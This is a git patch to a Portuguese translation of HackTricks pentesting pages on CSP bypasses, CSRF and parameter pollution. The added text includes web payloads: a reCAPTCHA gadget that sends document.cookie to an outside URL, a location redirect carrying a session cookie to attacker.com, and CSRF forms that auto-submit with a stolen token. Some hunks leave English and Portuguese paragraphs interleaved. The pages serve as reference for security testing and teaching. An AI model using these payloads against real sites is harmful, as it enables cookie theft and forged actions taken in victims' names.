From 58788eec6c325c4026e07ed94f3e1761962e322f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 2 Aug 2023 15:25:01 +0000 Subject: [PATCH] Translated ['pentesting-web/content-security-policy-csp-bypass/README.md --- .../README.md | 53 ++- .../csrf-cross-site-request-forgery.md | 307 +++++++++--------- pentesting-web/parameter-pollution.md | 62 ++-- 3 files changed, 235 insertions(+), 187 deletions(-) diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 03e3386b7..ff4324074 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -184,7 +184,7 @@ Além disso, mesmo que você consiga enviar um **código JS** dentro de um arqui A partir daqui, se você encontrar um XSS e um upload de arquivo e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)). -### Pontos de Extremidade de Terceiros + ('unsafe-eval') +### Endpoints de Terceiros + ('unsafe-eval') {% hint style="warning" %} Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**. @@ -243,6 +243,19 @@ A postagem mostra que você pode **carregar** todas as **bibliotecas** de `cdn.c +``` +#### Explorando o código JS do Google reCAPTCHA + +De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), é possível explorar o [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP: +```html +
+[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]] +
+ + ``` ### Pontos de Terceiros + JSONP @@ -304,7 +317,7 @@ Exemplo online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection.md). Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `/js/app.js`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor, alcançando um XSS.**\ -Se a página vulnerável for carregada com **httpS**, use um URL httpS na base. +Se a página vulnerável for carregada com **httpS**, certifique-se de usar um URL httpS na base. ```html ``` @@ -321,7 +334,7 @@ Dependendo da política específica, o CSP bloqueará eventos JavaScript. No ent ``` Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; ``` -Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido. É possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git. +Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido, é possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git. Cargas úteis funcionais: ```html @@ -448,14 +461,36 @@ Esse ataque implicaria em alguma engenharia social onde o atacante **convence o Para mais informações, [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +### Bypassando CSP restringindo CSP + +Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), a CSP é burlada injetando dentro de um iframe permitido uma CSP mais restritiva que impedia o carregamento de um arquivo JS específico que, em seguida, por meio de **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**. + +Você pode **restringir uma CSP de um Iframe** com o atributo **`csp`**: + +{% code overflow="wrap" %} +```html + +``` +{% endcode %} + +Neste [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** ainda mais um **CSP**, desabilitando um script que impedia CSTI e, portanto, tornando a **vulnerabilidade explorável**.\ +CSP pode ser tornada mais restritiva usando **meta tags HTML** e scripts inline podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**: +```html + +``` ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) + +A vulnerabilidade de bypass de CSP (Content Security Policy) no Google Chrome permite que um atacante execute código malicioso em um site, ignorando as restrições impostas pela política de segurança de conteúdo. Essa vulnerabilidade foi atribuída ao CVE-2020-6519. ```javascript document.querySelector('DIV').innerHTML=""; ``` ### Vazamento de Informações CSP + Iframe Imagine uma situação em que uma **página está redirecionando** para uma **página diferente com um segredo dependendo** do **usuário**. Por exemplo, o usuário **admin** acessando **redirectme.domain1.com** é redirecionado para **adminsecret321.domain2.com** e você pode causar um XSS no admin.\ -**Além disso, páginas que são redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.** +**Além disso, as páginas redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.** Você pode vazar o domínio para onde o admin é redirecionado através de: @@ -464,7 +499,7 @@ Você pode vazar o domínio para onde o admin é redirecionado através de: A violação de CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para `https://redirectme.domain1.com` e ouvir o evento `securitypolicyviolation` que contém a propriedade `blockedURI` contendo o domínio do URI bloqueado. Isso ocorre porque o `https://redirectme.domain1.com` (permitido pelo CSP) redireciona para `https://adminsecret321.domain2.com` (**bloqueado pelo CSP**). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso. -Quando você conhece os caracteres que podem compor o subdomínio secreto, você também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev) +Quando você conhece os caracteres que podem compor o subdomínio secreto, também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev) ``` img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` @@ -475,7 +510,7 @@ Truque da [**qui**](https://ctftime.org/writeup/29310). **HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ -As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. +As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa depois que o bug for verificado. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. @@ -520,11 +555,11 @@ Para mais informações sobre como realizar esse ataque, consulte [https://octag ## Bypasses de Exfiltração CSP -Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações. +Se houver um CSP restrito que não permita que você **interaja com servidores externos**, existem algumas coisas que você sempre pode fazer para exfiltrar as informações. ### Location -Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas: +Você pode simplesmente atualizar a localização para enviar para o servidor do atacante as informações secretas: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; @@ -616,6 +651,6 @@ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leader * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index 8f3ee04c5..02deacf5c 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -82,7 +82,7 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solic * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ -### Bypass personalizado de token de cabeçalho +### Bypass de token de cabeçalho personalizado Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como método de **proteção CSRF**, então: @@ -91,12 +91,12 @@ Se a solicitação estiver adicionando um **cabeçalho personalizado** com um ** ### O token CSRF é verificado por um cookie -Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou o **configuram um cookie csrf** e **verificam no backend se o token csrf enviado é o relacionado ao cookie**. +Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou então, **definem um cookie csrf** e **verificam no backend se o token csrf enviado é o mesmo relacionado ao cookie**. Quando a solicitação subsequente é validada, o aplicativo simplesmente verifica se o **token** enviado no **parâmetro de solicitação corresponde** ao valor armazenado pelo **cookie**.\ -Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita que ele configure seu cookie CSRF para a vítima, como um CRLF**. +Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima, como um CRLF**. -Nesse caso, você pode configurar o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo: +Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo: ```html @@ -181,28 +181,17 @@ document.forms[0].submit(); ``` -
+### **Bypassando o método HEAD** -**HackenProof é o lar de todas as recompensas por bugs de criptografia.** +A primeira parte deste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que no código-fonte do [Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **tratar as requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico para lidar com as requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo remove o corpo de resposta**. -**Seja recompensado sem atrasos**\ -As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. - -**Adquira experiência em pentesting web3**\ -Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. - -**Torne-se uma lenda hacker web3**\ -Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. - -[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks! - -{% embed url="https://hackenproof.com/register" %} +Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**. ## **Exemplos de Exploração** ### **Exfiltrando o Token CSRF** -Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection.md). +Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** aproveitando uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md). ### **GET usando tags HTML** ```markup @@ -232,28 +221,21 @@ document.forms[0].submit(); ``` ### Requisição POST de formulário -A técnica de Cross-Site Request Forgery (CSRF) explora a confiança que um site tem em um usuário autenticado para realizar ações indesejadas em seu nome. Uma das maneiras mais comuns de realizar um ataque CSRF é através de uma requisição POST de formulário. +A form POST request is a type of HTTP request that is used to submit data from an HTML form to a server. This type of request is commonly used in web applications to send user input data, such as login credentials or form submissions, to the server for processing. -#### Como funciona? +Uma requisição POST de formulário é um tipo de requisição HTTP que é usada para enviar dados de um formulário HTML para um servidor. Esse tipo de requisição é comumente usado em aplicações web para enviar dados de entrada do usuário, como credenciais de login ou envio de formulários, para o servidor para processamento. -1. O atacante cria uma página maliciosa contendo um formulário que realiza uma ação específica no site alvo, como alterar a senha do usuário. -2. O usuário autenticado visita a página maliciosa. -3. O formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada do usuário. -4. O site alvo processa a requisição POST, acreditando que foi enviada pelo usuário legítimo. -5. A ação maliciosa é executada no site alvo, como alterar a senha do usuário. +To make a form POST request, the client sends an HTTP POST request to the server's endpoint, typically specified in the `action` attribute of the HTML form. The request includes the form data as key-value pairs in the request body. -#### Prevenção +Para fazer uma requisição POST de formulário, o cliente envia uma requisição HTTP POST para o endpoint do servidor, normalmente especificado no atributo `action` do formulário HTML. A requisição inclui os dados do formulário como pares de chave-valor no corpo da requisição. -Existem várias medidas que podem ser tomadas para prevenir ataques CSRF: +The server receives the form data and processes it according to the application's logic. This can involve storing the data in a database, performing calculations, or generating a response to be sent back to the client. -- Utilizar tokens CSRF: Adicionar um token único e secreto em cada formulário e verificar sua validade no processamento da requisição POST. -- Verificar a origem da requisição: Validar o cabeçalho "Referer" ou "Origin" para garantir que a requisição venha de um site confiável. -- Implementar políticas de SameSite: Configurar cookies com a opção "SameSite" para restringir o envio de cookies em requisições de terceiros. -- Utilizar cabeçalhos de proteção: Configurar cabeçalhos HTTP como "X-Requested-With" ou "Content-Type" para evitar requisições maliciosas. +O servidor recebe os dados do formulário e os processa de acordo com a lógica da aplicação. Isso pode envolver armazenar os dados em um banco de dados, realizar cálculos ou gerar uma resposta para ser enviada de volta ao cliente. -#### Conclusão +It's important to note that form POST requests can be vulnerable to Cross-Site Request Forgery (CSRF) attacks if proper security measures are not in place. CSRF attacks occur when an attacker tricks a user into unknowingly submitting a form on a trusted website, leading to unintended actions being performed on the user's behalf. -A técnica de CSRF é uma ameaça séria à segurança dos aplicativos web. É importante que os desenvolvedores implementem medidas de prevenção adequadas para proteger seus usuários contra esse tipo de ataque. +É importante observar que as requisições POST de formulário podem ser vulneráveis a ataques de Cross-Site Request Forgery (CSRF) se as medidas de segurança adequadas não forem implementadas. Os ataques CSRF ocorrem quando um atacante engana um usuário a enviar um formulário em um site confiável, levando a ações não intencionais sendo executadas em nome do usuário. ```markup @@ -271,20 +253,25 @@ document.forms[0].submit(); //Way 3 to autosubmit ``` ### Requisição POST de formulário por meio de iframe -Uma técnica comum para realizar um ataque de falsificação de solicitação entre sites (CSRF) é enviar uma requisição POST de formulário por meio de um elemento ` + +``` -Ao validar a origem da solicitação e implementar medidas de segurança adequadas, as aplicações web podem se proteger contra ataques CSRF e garantir a integridade dos dados do usuário. +In this example, the attacker's webpage contains an iframe that loads the target website's form. The JavaScript code automatically submits the form as soon as the iframe is loaded. + +Neste exemplo, a página da web do atacante contém um iframe que carrega o formulário do site alvo. O código JavaScript envia automaticamente o formulário assim que o iframe é carregado. + +By tricking a victim into visiting the attacker's webpage, the form submission will occur without the victim's knowledge or consent. This can lead to unauthorized actions being performed on the victim's behalf. + +Ao enganar uma vítima para visitar a página da web do atacante, o envio do formulário ocorrerá sem o conhecimento ou consentimento da vítima. Isso pode levar a ações não autorizadas sendo realizadas em nome da vítima. ```markup <--! expl.html --> @@ -580,30 +568,40 @@ getTokenJS(); ``` ### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax** -Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário ou Ajax. +Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário oculto e Ajax. -#### Usando um iframe: +1. Primeiro, o atacante precisa obter o token CSRF do usuário. Isso pode ser feito explorando uma vulnerabilidade de vazamento de token CSRF em um site ou usando técnicas de engenharia social para enganar o usuário e fazê-lo revelar o token. -1. O atacante cria um site malicioso que contém um iframe apontando para o alvo legítimo. -2. O iframe é carregado no navegador do usuário alvo, fazendo com que o token CSRF seja enviado automaticamente para o site malicioso. -3. O atacante extrai o token CSRF do iframe usando JavaScript. -4. O atacante usa o token CSRF roubado para enviar uma solicitação POST maliciosa para o alvo legítimo, executando a ação desejada. +2. Uma vez que o token CSRF tenha sido obtido, o atacante pode criar um iframe oculto em uma página controlada por ele. O iframe deve apontar para o alvo que o atacante deseja atacar. -#### Usando um formulário: +```html + +``` -1. O atacante cria um formulário malicioso em seu site. -2. O formulário é preenchido com os dados necessários para a solicitação POST maliciosa, incluindo o token CSRF roubado. -3. O atacante usa JavaScript para enviar automaticamente o formulário assim que a página é carregada no navegador do usuário alvo. -4. O formulário é enviado para o alvo legítimo, executando a ação desejada usando o token CSRF roubado. +3. Em seguida, o atacante cria um formulário oculto dentro do iframe e preenche os campos necessários, incluindo o token CSRF roubado. -#### Usando Ajax: +```html +
+ + + +
+``` -1. O atacante cria uma solicitação Ajax maliciosa em seu site. -2. A solicitação Ajax é configurada para enviar uma solicitação POST para o alvo legítimo, incluindo o token CSRF roubado. -3. O atacante usa JavaScript para disparar automaticamente a solicitação Ajax assim que a página é carregada no navegador do usuário alvo. -4. A solicitação Ajax é enviada para o alvo legítimo, executando a ação desejada usando o token CSRF roubado. +4. O atacante usa JavaScript para enviar automaticamente o formulário assim que a página é carregada. -Essas técnicas permitem que um atacante explore a falta de proteção adequada contra CSRF em um site, enganando os usuários para que executem ações indesejadas sem o seu conhecimento. É importante que os desenvolvedores implementem medidas de segurança, como tokens CSRF aleatórios e verificação de referência, para mitigar esse tipo de ataque. +```html + +``` + +5. O navegador carrega o iframe oculto e envia a solicitação POST para o alvo, incluindo o token CSRF roubado. Como a solicitação é originada do navegador do usuário, o alvo acredita que é uma solicitação legítima e processa-a. + +Essa técnica de ataque CSRF pode ser eficaz para explorar sites que não implementam proteções adequadas contra ataques CSRF, como a verificação do token CSRF em todas as solicitações POST. É importante que os desenvolvedores implementem medidas de segurança, como tokens CSRF aleatórios e exclusivos, para proteger seus aplicativos contra esse tipo de ataque. ```markup
@@ -627,28 +625,35 @@ document.getElementById("form1").submit(); Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário. -1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade CSRF. +1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade vulnerável. ```html ``` -2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o site alvo, incluindo o token CSRF roubado. +2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o URL vulnerável do site alvo. O token CSRF é incluído como um campo oculto no formulário. ```html - - + + +
``` -3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano, fazendo com que o token CSRF seja solicitado do site alvo. +3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano. Isso faz com que o navegador do usuário faça uma solicitação GET para o site alvo, o que resulta na obtenção do token CSRF válido. -4. O token CSRF é então preenchido automaticamente no formulário e a solicitação POST é enviada quando o usuário clica no botão "Enviar". +4. Em seguida, o formulário malicioso é enviado automaticamente usando JavaScript. Isso faz com que o navegador do usuário envie uma solicitação POST para o URL vulnerável do site alvo, incluindo o token CSRF roubado. -5. Como o usuário está autenticado no site alvo, a solicitação POST é considerada legítima e processada pelo servidor. +```html + +``` -Essa técnica de ataque CSRF pode ser eficaz para explorar sites que não implementam medidas de proteção adequadas, como a verificação do referenciador ou a inclusão de tokens CSRF exclusivos em cada solicitação. É importante que os desenvolvedores implementem práticas recomendadas de segurança para mitigar esse tipo de ataque. +5. O servidor do site alvo recebe a solicitação POST e, como o token CSRF é válido, processa a solicitação como se fosse legítima. Isso pode levar a ações indesejadas, como alterar informações do usuário, fazer compras não autorizadas ou executar outras ações maliciosas. + +Para se proteger contra esse tipo de ataque, os desenvolvedores devem implementar medidas de segurança, como a inclusão de tokens CSRF exclusivos em todas as solicitações POST e a validação desses tokens no servidor. Os usuários também devem estar cientes dos riscos de visitar sites não confiáveis e manter seus sistemas atualizados com as últimas correções de segurança. ```markup @@ -668,17 +673,17 @@ document.forms[0].submit.click(); ``` ### **Roubar token e enviá-lo usando 2 iframes** -Uma técnica comum de Cross-Site Request Forgery (CSRF) envolve roubar um token de autenticação de um usuário e enviá-lo para um atacante usando iframes. Essa técnica explora a confiança do servidor em um token válido para executar ações maliciosas em nome do usuário. +Um ataque de falsificação de solicitação entre sites (CSRF) é um tipo de ataque em que um invasor engana um usuário autenticado para executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Um método comum para realizar um ataque CSRF é roubar o token de autenticação de um usuário e enviá-lo para um servidor controlado pelo invasor. -O processo geral é o seguinte: +Neste exemplo, vamos explorar uma técnica em que o invasor usa dois iframes para roubar o token de autenticação de um usuário e enviá-lo para seu próprio servidor. -1. O atacante cria uma página maliciosa que contém dois iframes. -2. O primeiro iframe é carregado com a página alvo que contém a ação que o atacante deseja executar. -3. O segundo iframe é carregado com uma página controlada pelo atacante. -4. O código JavaScript no segundo iframe rouba o token de autenticação da página alvo. -5. O código JavaScript no segundo iframe envia o token roubado para o atacante usando uma solicitação HTTP. +1. O invasor cria uma página maliciosa que contém dois iframes invisíveis. +2. O primeiro iframe é carregado com a página de destino que contém a ação que o invasor deseja executar. Por exemplo, pode ser uma página que altera a senha do usuário. +3. O segundo iframe é carregado com uma página controlada pelo invasor que contém um script malicioso. +4. O script malicioso no segundo iframe obtém o token de autenticação do usuário da página de destino. +5. O script envia o token para o servidor controlado pelo invasor usando uma solicitação HTTP. -Essa técnica permite que o atacante execute ações em nome do usuário sem o conhecimento ou consentimento dele. Para se proteger contra esse tipo de ataque, é importante implementar medidas de segurança, como o uso de tokens anti-CSRF, que são exclusivos para cada sessão de usuário e são verificados em todas as solicitações. Além disso, é recomendável evitar o uso de iframes em páginas que executam ações sensíveis. +Com essa técnica, o invasor pode roubar o token de autenticação de um usuário e usá-lo para executar ações indesejadas em seu nome. É importante que os desenvolvedores implementem medidas de proteção, como tokens CSRF e verificação de referência, para mitigar esse tipo de ataque. Os usuários também devem estar cientes dos riscos e tomar precauções, como não clicar em links suspeitos ou abrir páginas não confiáveis. ```markup